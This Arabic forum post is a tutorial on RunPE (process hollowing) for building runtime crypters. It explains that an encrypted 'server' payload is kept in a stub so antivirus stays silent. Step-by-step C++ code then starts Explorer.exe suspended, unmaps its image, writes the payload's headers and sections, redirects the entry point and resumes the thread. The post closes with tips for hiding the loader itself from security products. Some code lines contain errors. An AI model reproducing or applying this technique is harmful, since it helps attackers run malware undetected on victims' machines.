[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]RunPE
أولا وللعلم لن أقوم بشرح الموضوع خطوة خطوة بل سأشرح اساس الرن بي فعلى كل من يريد فهم الموضوع أن يكون ملم بالدوال المهمة والأساسية .
أولا وكما نعرف بأن برامج تشفير الـ Runtime تعمل بآلية الرن بي
فماهو الرن بي ؟
الرن بي هو تنفيذ بايتات الملف المطلوب في ذاكرة ملف آخر
لأوضح أكثر لدينا بايتات السيرفر في الستب مشفره بأحد الخوارزميات السيرفر حتى الآن لم يتم تشغيله لذلك لاتوجد أي عملية ضارة تجعل برنامج الحماية يعطي إنذار عليها
فالرن بي يقوم بتحميل [ تشغيل ] عملية نظيفة مثل Explorer.exe عن طريقة دالة CreateProcess لماذا سنستخدم هذه الدالة لأننا في تشغيل هذا الملف لانريده أن يعمل بل نريد أن يتم تحميله للذاكرة بوضيعة الخمول أو CREATE_SUSPENDED
وهذه الدالة توفر بارميتر ال Create Flags وهو وضع التشغيل
للمزيد : MSDN CreateProcess
إنتهينا من جزء تحميل الملف النظيف للذاكرة وأيضا هنا لن تشعر الحماية بأي خطر لأن العملية خالية من الاعمال الضارة تماما والملف لم يتم تنفيذه أي لم يتمر المرور بالإنتري بوينت بعد
وهذا مانريده
الآن يجب ان نجلب ال ImageBase من ذاكرة العملية لانه مهم في الخطوات القادمة
1 - يمكنك جلبه عن طريق الـ PE Header .
وتوجد ستركشرات مهمة جدا لابد أن نتطرق لها
وهي
IMAGE_DOS_HEADER
IMAGE_NT_HEADER
IMAGE_SECTION_HEADER
ويفضل أن تدرس تركيب ال PE Files والستركشرز الخاصة به قبل الشروع في برمجة رن بي
لكي تكون على علم بكل خطوة تقوم بها .
2 - ويمكن جلبه عن طريق جلب الـ EBX وإضافته إلى 8 [ EBX + 8 ] .
سنستخدم هذه الطريقة في درسنا هذا لاكن كيف نجلب الـ EBX ؟
دالة GetThreadContext تقوم بالعمل
وذلك عن طريق إسناد
Context Flags = CONTEXT_FULL
ووظيفة هذه الدالة هي جلب الـ Registers [ مسجلات الذاكرة ] الموجودة في العملية
EAX,EBX,ESP .... وأيضا المسجلات الفرعية ولها عدة Flags
مايهمنا هنا هو جلب مسجل EBX لكي نجلب الـ ImageBase عن طريقه
بعد أن جلبنا الـ ImageBase ماذا يتبقى ؟
الآن نأتي لدور تفريغ الذاكرة الإفتراضية للعملية وذلك لنجعلها فارغة مهيئة لكتابة بايتات السيرفر الخاص بنا فيها وذلك يتم عن طريق دالة NtUnmapViewOfSection ويتم التفريغ بدءآ من الـ ImageBase اللذي قمنا بجلبه
بعد تفريق ذاكرة العملية لازال علينا تفريغ مساحة كافية فيها لكتابة بايتات السيرفر أو الملف المطلوب وذلك عن طريق دالة VirtualAllocEx
وذلك يتم بدءآ من ال ImageBase الخاص ببايتات الملف او السيرفر ونستطيع جلبه عن طريق
IMAGE_NT_HEADER->OptionalHeader.ImageBase
ونستطيع جلب المساحة عن طريق IMAGE_NT_HEADER->OptionalHeader.SizeOfImage
بعد أن تم تهييئ ذاكرة العملية تماما نقوم الآن بفك تشفير بايتات السيرفر او الملف المطلوب ان كان مشفر بأحد الخوارزميات ونبدء بكتابة الـ Headers الخاصة بالملف
عن طريق دالة WriteProcessMemory
وذلك بتحديد حجم الهيدر والموجود حجمها ايضا في الإوبشنال هيدر ونبدء كتابته من ال ImageBase الخاص بالملف او السيرفر ونستطيع جلب حجم الهيدرس عن طريق
IMAGE_NT_HEADER->OptionalHeader.SizeOfHeaders
والآن بعد أن انتهينا من كتابة الهيدرس نكتب باقي اجزاء الملف أي ال Sections
وذلك عن طريق الدخول في حلقة تكرار وأفضل هذه الطريقة
وفي كل مرة نقوم بإسناد السكشن الحالي لستركشر IMAGE_SECTION_HEADER
وذلك عن طريق :
كود:
[FileBytes[PIMAGE_DOS_HEADER->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(PIMAGE_SECTION_HEADER) * i];
ويرمز i إلى عداد الحلقة ويبدء من الصفر وبعد أن نقوم بإسناد السكشن للستركشر
نبدء بكتابته عن طريق WriteProcessMemory
ويتم ذلك بدءآ من
IMAGE_NT_HEADERS->OptionalHeader.ImageBase + IMAGE_SECTION_HEADER->VirtualAddress
أي من حيث إنتهت كتابة الراو داتا الاخيرة
وما يتم كتابته هو مآيؤشر له الستركشر بالنسبة لبايتات الملف
[ FileBytes[IMAGE_SECTION_HEADER.PointerToRawData
والحجم يكون بحجم الراو داتا الحالية ويحمله السترشكر ذاته أيضا
IMAGE_SECTION_HEADER.SizeOfRawData
والآن بعد أن انتهينا من كتابة كافة البيانات نأتي لآخر الخطوات وأهمها وهي إسناد ال OEP الجديد اللذي سيبدء منه الملف ويتم حسابه عن طريق جمع ال ImageBase + EntryPoint
علما أن مسجل Eax هو من يحمل هذه القيمة ليتم تنفيذ الملف منها
وكما فعلنا سابقا نجلب ال ImageBase
IMAGE_NT_HEADER->OptionalHeader.ImageBase + IMAGE_NT_HEADER->OptionalHeader.AddressOfEntryPoint
ونسندهم للـ Context السابق اللذي جلبناه عن طريق دالة GetThreadContext
ثم نقول بإسناد المسجلات مرة اخرى للعملية عن طريق دالة
SetThreadContext
وأخيرا نرجع العملية للعمل بوضعها الطبيعي عن طريقة دالة
ResumeThread
ولاكن لابد من وجود عدة أمور أيضا في الرن بي وهي تعريف الستركشر وغيرها والتحقق من بعض الإمور لكي يعمل بشكل سليم لذلك لنأتي للخلاصة من الموضوع وماتوصلنا إليه ( الكود C++ )
1 - تعريف الستركشرات والمتغير اللذي سيحمل بايتات الملف
كود:
LPBYTE lpBuffer;
PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INH;
PIMAGE_SECTION_HEADER ISH;
ونسند بايتات الملف للستركشرات ونتحقق من أنها بايتات صالحة وتحتوي على تواقيع صالحة
IDH = (PIMAGE_DOS_HEADER)&lpBuffer[0];
if (IDH->e_magic != IMAGE_DOS_SIGNATURE) { return 0;}
INH = (PIMAGE_NT_HEADERS)&lpBuffer[IDH->e_lfanew];
if (INH->Signature != IMAGE_NT_SIGNATURE) { return 0;}
2 - نبدء في تحميل العملية النظيفة عن طريق دالة CreateProcess ونعرف متغيراتها
PROCESS_INFORMATION pi;
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.cb = sizeof(si);
CreateProcess(L"Explorer.exe",NULL,NULL,NULL,FALSE ,0x0000004,NULL,NULL,&si,&pi)
بعد ان نتحقق من انه تم تحميل العملية
3 - نجلب المسجلات في العملية عن طريق دالة GetThreadContext
كود:
CONTEXT context;
context.ContextFlags = (CONTEXT_FULL);
GetThreadContext(pi.hThread,&context)
بعد أن نتحقق من انه تم جلب المسجلات
4 - نحسب الـ ImageBase عن طريق جمع EBX + 8
كود:
DWORD dwImageBase;
كود:
ReadProcessMemory(pi.hProcess, LPCVOID(context->Ebx +
, LPVOID(&dwImageBase), 4, NULL);
ثم نقوم بتفريغ الذاكرة عن طريقة
دالة NtUnmapViewOfSection
بمآ ان الدالة Native سنستخدم بوينتر لها نعرف في الجينيرال سيكشن
كود:
typedef LONG(WINAPI *NtUnmapViewOfSection)(HANDLE hProcess,LPVOID BaseAddress);
ونحميل الدالة له ونقوم بتفريغ الذاكرة بدءآ من ال ImageBase
NtUnmapViewOfSection xNtUnmapViewOfSection;
xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
xNtUnmapViewOfSection(pi.hProcess, PVOID(dwImageBase));
وبعد أن يتم تفريغ الذاكرة
5 - نقوم بتفريغ المساحة الكافية في العملية عن طريقة دالة VirtualAllocEx
بدءا من ال ImageBase الجديد
VirtualAllocEx(pi.hProcess,(LPVOID)INH->OptionalHeader.ImageBase,INH->OptionalHeader.SizeOfImage,MEM_COMMIT || MEM_RESERVE,PAGE_EXECUTE_READWRITE);
وبعد أن قمنا بتفريغ المساحة الكافية
6 - نبدء في كتابة البايتات او [ الهيدرات تحديدا ] عن طريق دالة WriteProcessMemory
WriteProcessMemory(pi.hProcess,(LPVOID)INH->OptionalHeader.ImageBase,&lpBuffer[0],INH->OptionalHeader.SizeOfHeaders,NULL);
بعد أن تمت كتابة الهيدرات نقوم بكتابة السكشنس عن طريق حلقة التكرار وإسناد كل سكشن لستركشر السكشن هيدر في كل مرة
for (int i=0;i
FileHeader.NumberOfSections;i++)
{
ISH = (PIMAGE_SECTION_HEADER)&lpBuffer[IDH->e_lfanew + sizeof(PIMAGE_NT_HEADERS) + sizeof(PIMAGE_SECTION_HEADER) * i];
WriteProcessMemory(pi.hProcess,(LPVOID)(INH->OptionalHeader.ImageBase + ISH->VirtualAddress),&lpBuffer[ISH->PointerToRawData],ISH->SizeOfRawData,NULL);
}
بعد ان تمت كتابة جميع بايتات الملف وتركيباته
7 - نبدء في حساب ال OEP الجديد عن طريق جمع ال ImageBase + EntryPoint
وثم إسنادهم لـ Eax لكي يبدء الملف منها عند اعادته للعمل
كود:
context.Eax = INH->OptionalHeader.ImageBase + INH->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread,&context);
8 - والخطوة الأخيرة إعادة العملية للعمل عن طريق دالة ResumeThread
ResumeThread(pi.hThread);
بالنسبة لتشفير الرن بي وهنا يأتي دور فكر المبرمج وإبداعه ومن الأمثلة اللجوء للبديل
مثل ال Native من الدوال أو حتى اللجوء للـ Sysenter مباشرة كما يمكنك إستخدام البوينتر للدوال وله تأثير على الحمايات
في الختام أتمنى أن يكون الشرح واضح لمن يهتم بهذا المجال ولمن له طموح عالي فيه
أتمنى أن يصل له وجميع من يتمنى أن يطور نفسه بشكل أوسع وأكبر في هذا البحر العظيم
ولاتملوا من البحث وتحصيل العلم ففي النهاية ستحصد نتيجة تعبك وإجتهادك في ماتحب .
وإن شاء الله ينال على إعجابكم أعتقد إنه أول شرح عربي من نوعه
وأهديكم أيضا كتاب من شركة F-Secure عن الستركشرات في تركيب ال PE Files
http://www.gulfup.com/?OdlgAc